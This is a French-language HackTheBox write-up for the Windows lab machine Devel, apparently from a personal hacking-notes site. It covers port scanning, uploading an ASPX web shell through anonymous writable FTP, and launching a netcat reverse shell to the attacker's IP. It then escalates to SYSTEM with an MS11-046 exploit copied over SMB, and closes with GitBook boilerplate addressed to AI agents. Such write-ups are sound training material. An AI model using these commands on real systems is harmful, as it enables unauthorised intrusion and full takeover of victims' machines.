> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/devel-hackthebox-writeup.md). # Compte rendu HackTheBox de Devel {% embed url="" %} ## Reconnaissance **Configuration de l'espace de travail :** Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

**Vérification de la connectivité VPN** Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

**Découverte des ports ouverts avec Nmap :** Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap : ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.10.5 -oG allPorts ```

**Analyse des ports ouverts avec extractPorts :** Utilisation de la fonction extractPorts pour afficher les ports ouverts de manière concise et les copier dans le presse-papiers.

**Scan de version des ports avec Nmap :** Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" : ```bash nmap -sCV -p21,80 10.10.10.5 -oN targeted ```

## **Analyse des services** ### **Port 21 - FTP** Le serveur FTP est accessible avec des identifiants anonymes. En explorant le répertoire FTP, nous découvrons trois fichiers : * **`aspnet_client`** * **`iisstart.htm`** * **`welcome.png`**

L'image **`welcome.png`** semble être une bannière standard.

### Port 80 - HTTP : Le serveur HTTP affiche une page avec la même bannière que celle trouvée sur le FTP. Cela suggère que le site récupère ses fichiers directement depuis le serveur FTP.

#### **Tests d'écriture sur le FTP** En testant les permissions d'écriture sur le serveur FTP, nous confirmons qu'il est possible d'ajouter des fichiers avec la commande ```bash put test.txt ```

## **Exploitation - shell inversé via FTP** ### **Téléversement d'un webshell ASPX** Nous utilisons un webshell préexistant, **`cmd.aspx`**, depuis SecLists : ```bash locate cmd.aspx cp /usr/share/davtest/backdoors/aspx_cmd.aspx . ``` Puis nous l'importons sur le serveur FTP : ```bash ftp 10.10.10.5 anonymous put aspx_cmd.aspx ``` Nous accédons au webshell via le serveur HTTP et exécutons des commandes, par exemple : ```bash ipconfig ```

### **Téléversez le `nc.exe` binaire pour un shell inversé** Nous téléchargeons **`nc.exe`** depuis SecLists : ```bash locate nc.exe cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe . ``` Puis nous l'ajoutons sur le serveur FTP : ```bash ftp 10.10.10.5 anonymous put nc.exe ``` Depuis le webshell, nous localisons le **`nc.exe`** fichier sur le serveur cible : ```powershell dir /s C:/nc.exe ``` ### **Mise en place du shell inversé**

**Écoute sur le port 443 :** Nous mettons en place un écouteur avec `nc` pour écouter sur le port 443 : ```bash rlwrap nc -nvlp 443 ``` Depuis la machine cible, nous exécutons la commande suivante via le webshell : ```powershell C:/inetpub/wwwroot/nc.exe -e cmd 10.10.14.26 443 ```

## **Élévation de privilèges** ### Exploitation du noyau #### **Vérification des informations système** Avec l’ **`systeminfo`** commande, nous identifions que la machine utilise **Windows 7 Enterprise**, ce qui ouvre la possibilité d'exploiter des vulnérabilités connues pour cette version. ```powershell systeminfo ``` Le résultat nous indique que la machine utilise **Windows 7 Enterprise**, avec la version suivante : ```plaintext VERSION DU SE : 6.1.7600 N/A Build 7600 ```

### **Exploitation de la vulnérabilité MS11-046** Cela nous permet de savoir que la machine peut être vulnérable à certains défauts connus, tels que **MS11-046**, une vulnérabilité du service **Windows SMB**. {% embed url="" %} > Vulnérabilité **MS11-046** permet à un attaquant d'exécuter à distance avec des privilèges **NT AUTHORITY/SYSTEM** via le service SMB. Pour exploiter cette vulnérabilité, nous allons transférer et exécuter un fichier malveillant sur la machine cible.

### Transfert de fichiers Windows (smb) > Nous utilisons **smbserver.py** pour partager un répertoire contenant le fichier d'exploitation **ms11-046.exe**. Ce fichier est ensuite copié sur la machine cible. ```bash smbserver.py share $(pwd) -smb2support ``` Depuis la machine cible, nous avons copié le fichier malveillant à l'aide de la commande SMB : ```powershell copy //10.10.14.26/share/ms11-046.exe ms11.exe ```

**Exécution de l'opération** Une fois le fichier transféré, nous exécutons **ms11-046.exe** sur la machine cible pour exploiter la vulnérabilité et obtenir un shell avec les privilèges SYSTEM. Pour ce faire, nous utilisons la commande suivante : ```powershell ./ms11.exe ```

### Drapeau user.txt :)

### Drapeau root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/devel-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.